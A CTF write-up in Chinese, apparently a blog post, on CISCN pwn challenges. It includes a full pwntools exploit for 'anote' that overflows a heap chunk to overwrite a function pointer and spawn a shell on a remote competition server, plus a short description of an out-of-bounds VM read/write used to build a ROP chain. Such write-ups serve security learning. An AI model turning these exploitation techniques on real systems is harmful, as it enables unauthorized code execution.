ccbciscn
期末作业太多了,没什么时间详细写wp。不过三战国赛终于有望进入半决赛了,自己也出了个唯二解的二血,还是值得纪念一下的。 吐槽一下,怎么各个方向的题目数量都和赛前发的表对不上,本来以为pwn压力不大,主动承担了做一大半理论题的任务,结果下午看到上了三个pwn感觉天都塌了。 anote 发现创建0x1c大小的堆块后,可以输入超过这个长度。并且每个堆块的开头有一个函数指针,在edit结束后会调用该函数指针。 因此可以创建两个堆块,将后门函数的地址system("/bin/sh")写在第一个堆块中,然后通过前一个的edit溢出写后一个的函数指针,直接改写成第一个堆块存储后门函数的地址。然后调用后一个堆块的edit,就可以执行后门函数,堆块布局如下。 堆地址由show时的gift直接给出,只需要稍加计算。 exp: ```Python #!/usr/bin/env python3 from pwn import * import os exe = ELF("./note_patched") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("123.56.29.99", 26768) return r def dbg(cmd=""): if args.LOCAL: gdb.attach(r, cmd) pause() def choice(i): r.sendlineafter(">>", str(i)) def show(idx): choice(2) r.sendlineafter("index: ", str(idx)) def edit(idx, len, content): choice(3) r.sendlineafter("index: ", str(idx)) r.sendlineafter("len: ", str(len)) r.sendafter("content:", content) context.log_level = "DEBUG" def main(): global r r = conn() choice(1) show(0) r.recvuntil("gift: ") addr = int(r.recvline()[:-1], 16) choice(1) edit( 0, 28, p32(0x80489CE) + b"a" * (0x1C - 8 - 8) + p32(0) + p32(0x21) + p32(addr + 8) + b"\n", ) edit(1, 1, b"0\n") # good luck pwning :) r.interactive() if __name__ == "__main__": main() avm 主要漏洞在于store和load指令检查时只检查reg+BYTE2(v3),计算时计算的是reg+HIWORD(v3)&0xFFF,所以可以越界读写虚拟机的缓冲区s。于是可以通过load栈上残留获取libc地址,再经过计算构造rop链,通过store越界写到栈上返回地址处。 ...